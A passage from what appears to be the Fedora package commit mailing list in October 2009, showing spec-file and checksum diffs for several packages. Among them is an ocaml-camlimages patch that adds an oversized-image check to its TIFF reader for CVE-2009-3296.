 ffa417a9556cdb16028c83718d758bc7  redhat-langpacks.tar.gz
 39a2c59cfae4019eda4a63f414c0aa54  redhat-registry.tar.gz
 6c28507e29056a3afb4baffdadab8499  openoffice.org-javafilter.desktop
-92f8212f83d4cbbb9fd69e9a327cc122  OOO320_m2.tar.bz2
+1f2d47f2ecb94540c5b65130a2d5d21b  OOO320_m2.tar.bz2



From sharkcz at fedoraproject.org  Fri Oct 16 08:46:51 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 08:46:51 +0000 (UTC)
Subject: rpms/hercstudio/F-12 .cvsignore, 1.2, 1.3 hercstudio.spec, 1.1,
	1.2 sources, 1.2, 1.3 hercstudio-buttons.patch, 1.1,
	NONE hercstudio-gcc44.patch, 1.1, NONE
Message-ID: <20091016084651.A6A7C11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/hercstudio/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22524

Modified Files:
	.cvsignore hercstudio.spec sources 
Removed Files:
	hercstudio-buttons.patch hercstudio-gcc44.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
- update to 1.0.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 08:42:42 -0000	1.2
+++ .cvsignore	16 Oct 2009 08:46:51 -0000	1.3
@@ -1 +1 @@
-hercstudio-svn3.tar.bz2
+herculesstudio-1.0.0-src.tar.gz


Index: hercstudio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-12/hercstudio.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hercstudio.spec	17 Sep 2009 08:42:46 -0000	1.1
+++ hercstudio.spec	16 Oct 2009 08:46:51 -0000	1.2
@@ -1,17 +1,13 @@
 Name:           hercstudio
-Version:        1.0
-Release:        0.2.beta%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        GUI front-end to the Hercules mainframe Emulator
 
 Group:          Applications/Emulators
 License:        GPLv3+
 URL:            http://www.mvsdasd.org/hercstudio/
-# sources retrieved from SVN with
-# fedora-getsvn hercstudio https://hercstudio.svn.sourceforge.net/svnroot/hercstudio/trunk/HerculesStudio 3
-Source0:        %{name}-svn3.tar.bz2
+Source0:        http://www.mvsdasd.org/hercstudio/herculesstudio-%{version}-src.tar.gz
 Source1:        %{name}.desktop
-Patch0:         %{name}-gcc44.patch
-Patch1:         %{name}-buttons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  qt4-devel
@@ -24,9 +20,7 @@ GUI front-end to the Hercules mainframe 
 
 
 %prep
-%setup -q -n %{name}
-%patch0 -p2 -b .gcc44
-%patch1 -p0 -b .buttons
+%setup -q -n HerculesStudio
 
 
 %build
@@ -60,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
+- update to 1.0.0
+
 * Mon Sep  7 2009 Dan Hor?k <dan[at]danny.cz> - 1.0-0.2.beta
 - add patch for panel buttons from upstream
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	17 Sep 2009 08:42:46 -0000	1.2
+++ sources	16 Oct 2009 08:46:51 -0000	1.3
@@ -1 +1 @@
-7d0ec93eac96a135df9bbeacafb74a36  hercstudio-svn3.tar.bz2
+6e144266c2dea07e716049c4ff072d62  herculesstudio-1.0.0-src.tar.gz


--- hercstudio-buttons.patch DELETED ---


--- hercstudio-gcc44.patch DELETED ---



From sharkcz at fedoraproject.org  Fri Oct 16 08:49:52 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 08:49:52 +0000 (UTC)
Subject: rpms/hercstudio/F-11 .cvsignore, 1.2, 1.3 hercstudio.spec, 1.1,
	1.2 sources, 1.2, 1.3 hercstudio-buttons.patch, 1.1,
	NONE hercstudio-gcc44.patch, 1.1, NONE
Message-ID: <20091016084952.33FF811C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/hercstudio/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23432

Modified Files:
	.cvsignore hercstudio.spec sources 
Removed Files:
	hercstudio-buttons.patch hercstudio-gcc44.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
- update to 1.0.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 08:46:33 -0000	1.2
+++ .cvsignore	16 Oct 2009 08:49:50 -0000	1.3
@@ -1 +1 @@
-hercstudio-svn3.tar.bz2
+herculesstudio-1.0.0-src.tar.gz


Index: hercstudio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-11/hercstudio.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hercstudio.spec	17 Sep 2009 08:46:34 -0000	1.1
+++ hercstudio.spec	16 Oct 2009 08:49:50 -0000	1.2
@@ -1,17 +1,13 @@
 Name:           hercstudio
-Version:        1.0
-Release:        0.2.beta%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        GUI front-end to the Hercules mainframe Emulator
 
 Group:          Applications/Emulators
 License:        GPLv3+
 URL:            http://www.mvsdasd.org/hercstudio/
-# sources retrieved from SVN with
-# fedora-getsvn hercstudio https://hercstudio.svn.sourceforge.net/svnroot/hercstudio/trunk/HerculesStudio 3
-Source0:        %{name}-svn3.tar.bz2
+Source0:        http://www.mvsdasd.org/hercstudio/herculesstudio-%{version}-src.tar.gz
 Source1:        %{name}.desktop
-Patch0:         %{name}-gcc44.patch
-Patch1:         %{name}-buttons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  qt4-devel
@@ -24,9 +20,7 @@ GUI front-end to the Hercules mainframe 
 
 
 %prep
-%setup -q -n %{name}
-%patch0 -p2 -b .gcc44
-%patch1 -p0 -b .buttons
+%setup -q -n HerculesStudio
 
 
 %build
@@ -60,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
+- update to 1.0.0
+
 * Mon Sep  7 2009 Dan Hor?k <dan[at]danny.cz> - 1.0-0.2.beta
 - add patch for panel buttons from upstream
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	17 Sep 2009 08:46:34 -0000	1.2
+++ sources	16 Oct 2009 08:49:50 -0000	1.3
@@ -1 +1 @@
-7d0ec93eac96a135df9bbeacafb74a36  hercstudio-svn3.tar.bz2
+6e144266c2dea07e716049c4ff072d62  herculesstudio-1.0.0-src.tar.gz


--- hercstudio-buttons.patch DELETED ---


--- hercstudio-gcc44.patch DELETED ---



From sharkcz at fedoraproject.org  Fri Oct 16 08:51:22 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 08:51:22 +0000 (UTC)
Subject: rpms/hercstudio/F-10 .cvsignore, 1.2, 1.3 hercstudio.spec, 1.1,
	1.2 sources, 1.2, 1.3 hercstudio-buttons.patch, 1.1,
	NONE hercstudio-gcc44.patch, 1.1, NONE
Message-ID: <20091016085122.3221511C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/hercstudio/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23891

Modified Files:
	.cvsignore hercstudio.spec sources 
Removed Files:
	hercstudio-buttons.patch hercstudio-gcc44.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
- update to 1.0.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 08:47:43 -0000	1.2
+++ .cvsignore	16 Oct 2009 08:51:21 -0000	1.3
@@ -1 +1 @@
-hercstudio-svn3.tar.bz2
+herculesstudio-1.0.0-src.tar.gz


Index: hercstudio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-10/hercstudio.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hercstudio.spec	17 Sep 2009 08:47:44 -0000	1.1
+++ hercstudio.spec	16 Oct 2009 08:51:22 -0000	1.2
@@ -1,17 +1,13 @@
 Name:           hercstudio
-Version:        1.0
-Release:        0.2.beta%{?dist}
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        GUI front-end to the Hercules mainframe Emulator
 
 Group:          Applications/Emulators
 License:        GPLv3+
 URL:            http://www.mvsdasd.org/hercstudio/
-# sources retrieved from SVN with
-# fedora-getsvn hercstudio https://hercstudio.svn.sourceforge.net/svnroot/hercstudio/trunk/HerculesStudio 3
-Source0:        %{name}-svn3.tar.bz2
+Source0:        http://www.mvsdasd.org/hercstudio/herculesstudio-%{version}-src.tar.gz
 Source1:        %{name}.desktop
-Patch0:         %{name}-gcc44.patch
-Patch1:         %{name}-buttons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  qt4-devel
@@ -24,9 +20,7 @@ GUI front-end to the Hercules mainframe 
 
 
 %prep
-%setup -q -n %{name}
-%patch0 -p2 -b .gcc44
-%patch1 -p0 -b .buttons
+%setup -q -n HerculesStudio
 
 
 %build
@@ -60,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
+- update to 1.0.0
+
 * Mon Sep  7 2009 Dan Hor?k <dan[at]danny.cz> - 1.0-0.2.beta
 - add patch for panel buttons from upstream
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	17 Sep 2009 08:47:44 -0000	1.2
+++ sources	16 Oct 2009 08:51:22 -0000	1.3
@@ -1 +1 @@
-7d0ec93eac96a135df9bbeacafb74a36  hercstudio-svn3.tar.bz2
+6e144266c2dea07e716049c4ff072d62  herculesstudio-1.0.0-src.tar.gz


--- hercstudio-buttons.patch DELETED ---


--- hercstudio-gcc44.patch DELETED ---



From tim4dev at fedoraproject.org  Fri Oct 16 09:00:33 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 09:00:33 +0000 (UTC)
Subject: rpms/webacula/F-11 webacula.spec,NONE,1.1
Message-ID: <20091016090033.DB5C811C0296@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26715

Added Files:
	webacula.spec 
Log Message:
Initial commit (#526855)



--- NEW FILE webacula.spec ---
Name:          webacula
Version:       3.3
Release:       6%{?dist}
Summary:       Web interface of a Bacula backup system
Summary(ru):   ??? ????????? ??? Bacula backup system

Group:      Applications/Internet
License:    GPLv3+
URL:        http://webacula.sourceforge.net/
Source0:    http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:  noarch

Requires: webserver
Requires: bacula-console >= 2.4.0
Requires: php-ZendFramework >= 1.8.3
Requires: php >= 5.2.4
Requires: php-pdo
Requires: php-json
Requires: php-pcre
Requires: php-gd
Requires: php-xml

%description
Webacula - Web Bacula - web interface of a Bacula backup system.
Supports the run Job, restore all files or selected files,
restore the most recent backup for a client,
restore backup for a client before a specified time,
mount/umount Storages, show scheduled, running and terminated Jobs and more.
Supported languages: English, French, German, Portuguese Brazil, Russian.

%description -l ru
Webacula - Web Bacula - ??? ????????? ??? Bacula backup system.
???????????? ?????? ???????, ?????????????? ???? ??? ????????? ??????,
?????????????? ?????? ??????? ?????? ??? ???????,
?????????????? ?????? ??? ??????? ?????????? ????? ????????? ????????,
????????????/??????????????? ????????, ????? ???????????????, 
????????????? ? ??????????? ??????? ? ??????.
?????????????? ?????: ??????????, ???????????, ????????,
??????????? ?????????????, ???????.


%prep
%setup -q
rm -f ./application/.htaccess
rm -f ./html/test_mod_rewrite/.htaccess
rm -f ./html/.htaccess
rm -f ./install/.htaccess
rm -f ./languages/.htaccess
rm -f ./application/.htaccess
rm -f ./docs/.htaccess



%build


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/application
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/html
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/languages
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/library
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/install

cp ./application/config.ini  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/config.ini
rm -f ./application/config.ini
ln -s %{_sysconfdir}/%{name}/config.ini  $RPM_BUILD_ROOT%{_datadir}/%{name}/application/config.ini 

cp ./install/webacula.conf  $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/webacula.conf
rm -f ./install/webacula.conf

install -p -m 755 ./install/webacula_clean_tmp_files.sh \
   $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
rm -f ./install/webacula_clean_tmp_files.sh

cp -pr ./application $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./html        $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./languages   $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./library     $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./install     $RPM_BUILD_ROOT%{_datadir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc 4CONTRIBUTORS 4CONTRIBUTORS.ru AUTHORS COPYING README UPDATE ChangeLog
%doc docs/
%{_datadir}/%{name}/application
%{_datadir}/%{name}/html
%{_datadir}/%{name}/library
%{_datadir}/%{name}/install
%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
%dir %{_datadir}/%{name}
%dir %{_datadir}/%{name}/languages
%config(noreplace) %{_sysconfdir}/httpd/conf.d/webacula.conf
%config(noreplace) %{_sysconfdir}/%{name}/config.ini
%lang(de) %{_datadir}/%{name}/languages/de
%lang(en) %{_datadir}/%{name}/languages/en
%lang(fr) %{_datadir}/%{name}/languages/fr
%lang(pt) %{_datadir}/%{name}/languages/pt
%lang(ru) %{_datadir}/%{name}/languages/ru



%changelog
* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-6
- Fix #526855.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-5
- Fix #526855. Remove Zend Framework from source.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-4
- Fix #526855

* Mon Oct 12 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-3
- Fix #526855

* Sat Oct 10 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-2
- Fix #526855 "Review Request"

* Thu Oct 08 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-1
- Initial Spec file creation for Fedora



From rjones at fedoraproject.org  Fri Oct 16 09:11:17 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:11:17 +0000 (UTC)
Subject: rpms/vhostmd/EL-5 vhostmd.spec,1.3,1.4
Message-ID: <20091016091117.A789811C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/vhostmd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30750

Modified Files:
	vhostmd.spec 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.4.gitea2f772d
- Re-add xen-devel dependency.  This is a bug in EPEL builders.



Index: vhostmd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vhostmd/EL-5/vhostmd.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- vhostmd.spec	15 Oct 2009 18:20:49 -0000	1.3
+++ vhostmd.spec	16 Oct 2009 09:11:17 -0000	1.4
@@ -1,17 +1,14 @@
 # Xen is only available on a limited number of architectures
-#%ifarch %{ix86} x86_64 ia64
-#%global have_xen 1
-#%else
-#%global have_xen 0
-#%endif
-
-# Owing to an apparent bug in EPEL, xen-devel is missing, so:
+%ifarch %{ix86} x86_64 ia64
+%global have_xen 1
+%else
 %global have_xen 0
+%endif
 
 Summary:       Virtualization host metrics daemon
 Name:          vhostmd
 Version:       0.4
-Release:       0.3.gitea2f772d%{?dist}
+Release:       0.4.gitea2f772d%{?dist}
 License:       GPLv2+
 Group:         System Environment/Daemons
 BuildRoot:     %{_tmppath}/%{name}-%{version}-%{release}-root
@@ -186,6 +183,9 @@ exit 0
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.4.gitea2f772d
+- Re-add xen-devel dependency.  This is a bug in EPEL builders.
+
 * Thu Oct 15 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4-0.3.gitea2f772d
 - Remove xen-devel dependency on ALL architectures.
 



From jmoskovc at fedoraproject.org  Fri Oct 16 09:12:45 2009
From: jmoskovc at fedoraproject.org (=?utf-8?b?SmnFmcOtIE1vc2tvdsSNw6Fr?=)
Date: Fri, 16 Oct 2009 09:12:45 +0000 (UTC)
Subject: rpms/sed/devel sed.spec,1.50,1.51
Message-ID: <20091016091245.6CDC811C00E5@cvs1.fedora.phx.redhat.com>

Author: jmoskovc

Update of /cvs/extras/rpms/sed/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31114

Modified Files:
	sed.spec 
Log Message:
- added libselinux-devel to buildrequires rhbz#514182
- fixed problem with --excludedocs rhbz#515913



Index: sed.spec
===================================================================
RCS file: /cvs/extras/rpms/sed/devel/sed.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sed.spec	12 Aug 2009 19:41:07 -0000	1.50
+++ sed.spec	16 Oct 2009 09:12:45 -0000	1.51
@@ -6,7 +6,7 @@
 Summary: A GNU stream text editor
 Name: sed
 Version: 4.2.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: Applications/Text
 URL: http://sed.sourceforge.net/
@@ -14,7 +14,7 @@ Source0: ftp://ftp.gnu.org/pub/gnu/sed/s
 Source1: http://sed.sourceforge.net/sedfaq.txt
 Patch0: sed-4.2.1-dummyparam.diff
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires: glibc-devel
+BuildRequires: glibc-devel, libselinux-devel
 Requires(post): /sbin/install-info
 Requires(preun): /sbin/install-info
 
@@ -48,12 +48,14 @@ rm -f ${RPM_BUILD_ROOT}/%{_infodir}/dir
 %find_lang %{name}
 
 %post
-/sbin/install-info %{_infodir}/sed.info.gz %{_infodir}/dir || :
+/sbin/install-info %{_infodir}/sed.info.gz %{_infodir}/dir || &> /dev/null
+:
 
 %preun
 if [ $1 = 0 ]; then
-   /sbin/install-info --delete %{_infodir}/sed.info.gz %{_infodir}/dir || :
+   /sbin/install-info --delete %{_infodir}/sed.info.gz %{_infodir}/dir || &> /dev/null
 fi
+:
 
 %clean
 rm -rf ${RPM_BUILD_ROOT}
@@ -66,6 +68,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_mandir}/man*/*
 
 %changelog
+* Fri Oct 16 2009 Jiri Moskovcak <jmoskovc at redhat.com> 4.2.1-4
+- added libselinux-devel to buildrequires rhbz#514182
+- fixed problem with --excludedocs rhbz#515913
+
 * Tue Aug 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 4.2.1-3
 - Use bzipped upstream tarball.
 



From sharkcz at fedoraproject.org  Fri Oct 16 09:21:47 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 16 Oct 2009 09:21:47 +0000 (UTC)
Subject: rpms/hercstudio/EL-5 .cvsignore, 1.2, 1.3 hercstudio.spec, 1.2,
	1.3 sources, 1.2, 1.3 hercstudio-buttons.patch, 1.1,
	NONE hercstudio-gcc44.patch, 1.1, NONE
Message-ID: <20091016092147.E0D8C11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/hercstudio/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1210

Modified Files:
	.cvsignore hercstudio.spec sources 
Removed Files:
	hercstudio-buttons.patch hercstudio-gcc44.patch 
Log Message:
* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
- update to 1.0.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/EL-5/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	17 Sep 2009 08:49:11 -0000	1.2
+++ .cvsignore	16 Oct 2009 09:21:47 -0000	1.3
@@ -1 +1 @@
-hercstudio-svn3.tar.bz2
+herculesstudio-1.0.0-src.tar.gz


Index: hercstudio.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/EL-5/hercstudio.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- hercstudio.spec	30 Sep 2009 09:36:13 -0000	1.2
+++ hercstudio.spec	16 Oct 2009 09:21:47 -0000	1.3
@@ -1,19 +1,15 @@
 Name:           hercstudio
-Version:        1.0
-Release:        0.2.beta%{?dist}.1
+Version:        1.0.0
+Release:        1%{?dist}
 Summary:        GUI front-end to the Hercules mainframe Emulator
 
 Group:          Applications/Emulators
 License:        GPLv3+
 URL:            http://www.mvsdasd.org/hercstudio/
-# sources retrieved from SVN with
-# fedora-getsvn hercstudio https://hercstudio.svn.sourceforge.net/svnroot/hercstudio/trunk/HerculesStudio 3
-Source0:        %{name}-svn3.tar.bz2
+Source0:        http://www.mvsdasd.org/hercstudio/herculesstudio-%{version}-src.tar.gz
 Source1:        %{name}.desktop
-Patch0:         %{name}-gcc44.patch
-Patch1:         %{name}-buttons.patch
 # backport to QT 4.2
-Patch2:         %{name}-qt42.patch
+Patch0:         %{name}-qt42.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  qt4-devel
@@ -26,10 +22,8 @@ GUI front-end to the Hercules mainframe 
 
 
 %prep
-%setup -q -n %{name}
-%patch0 -p2 -b .gcc44
-%patch1 -p0 -b .buttons
-%patch2 -p2 -b .qt42
+%setup -q -n HerculesStudio
+%patch0 -p2 -b .qt42
 
 # remove first line from ui file iff it starts with <?xml ...>
 find . -name \*.ui | xargs sed -i '1{/<?xml/d}'
@@ -66,6 +60,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Dan Hor?k <dan[at]danny.cz> - 1.0.0-1
+- update to 1.0.0
+
 * Wed Sep 30 2009 Dan Hor?k <dan[at]danny.cz> - 1.0-0.2.beta.1
 - backport to QT 4.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/hercstudio/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	17 Sep 2009 08:49:12 -0000	1.2
+++ sources	16 Oct 2009 09:21:47 -0000	1.3
@@ -1 +1 @@
-7d0ec93eac96a135df9bbeacafb74a36  hercstudio-svn3.tar.bz2
+6e144266c2dea07e716049c4ff072d62  herculesstudio-1.0.0-src.tar.gz


--- hercstudio-buttons.patch DELETED ---


--- hercstudio-gcc44.patch DELETED ---



From tim4dev at fedoraproject.org  Fri Oct 16 09:24:31 2009
From: tim4dev at fedoraproject.org (tim4dev)
Date: Fri, 16 Oct 2009 09:24:31 +0000 (UTC)
Subject: rpms/webacula/F-11 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091016092431.B17CD11C00E5@cvs1.fedora.phx.redhat.com>

Author: tim4dev

Update of /cvs/pkgs/rpms/webacula/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2012/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log 
Log Message:
Initial import (#526855).


--- NEW FILE import.log ---
webacula-3_3-6_fc11:F-11:webacula-3.3-6.fc11.src.rpm:1255685033


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:31:28 -0000	1.1
+++ .cvsignore	16 Oct 2009 09:24:31 -0000	1.2
@@ -0,0 +1 @@
+webacula-3.3.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/webacula/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:31:28 -0000	1.1
+++ sources	16 Oct 2009 09:24:31 -0000	1.2
@@ -0,0 +1 @@
+d6ffafa3315758fb8d6b313e50c5c78c  webacula-3.3.tar.gz



From rjones at fedoraproject.org  Fri Oct 16 09:30:28 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:30:28 +0000 (UTC)
Subject: rpms/ocaml-camlimages/devel
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 ocaml-camlimages.spec, 1.20, 1.21
Message-ID: <20091016093028.231FA11C0296@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4505

Modified Files:
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-3.0.1.old/src/tiffread.c	2007-01-18 10:29:57.000000000 +0000
+++ camlimages-3.0.1/src/tiffread.c	2009-10-16 10:26:53.841258260 +0100
@@ -21,6 +21,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 /* These are defined in caml/config.h */
 #define int16 int16tiff
 #define uint16 uint16tiff
@@ -64,6 +71,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/devel/ocaml-camlimages.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- ocaml-camlimages.spec	29 Sep 2009 15:13:31 -0000	1.20
+++ ocaml-camlimages.spec	16 Oct 2009 09:30:27 -0000	1.21
@@ -4,7 +4,7 @@
 
 Name:           ocaml-camlimages
 Version:        3.0.1
-Release:        12%{?dist}
+Release:        13%{?dist}
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -20,6 +20,9 @@ Patch0:         camlimages-3.0.1-display
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRequires:  ocaml >= 3.10.1
 BuildRequires:  ocaml-lablgtk-devel
 BuildRequires:  ocaml-x11
@@ -67,6 +70,7 @@ Includes documentation provided by ocaml
 # the examples/liv directory, so rename it:
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 aclocal -I .
 automake
 autoconf
@@ -112,6 +116,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
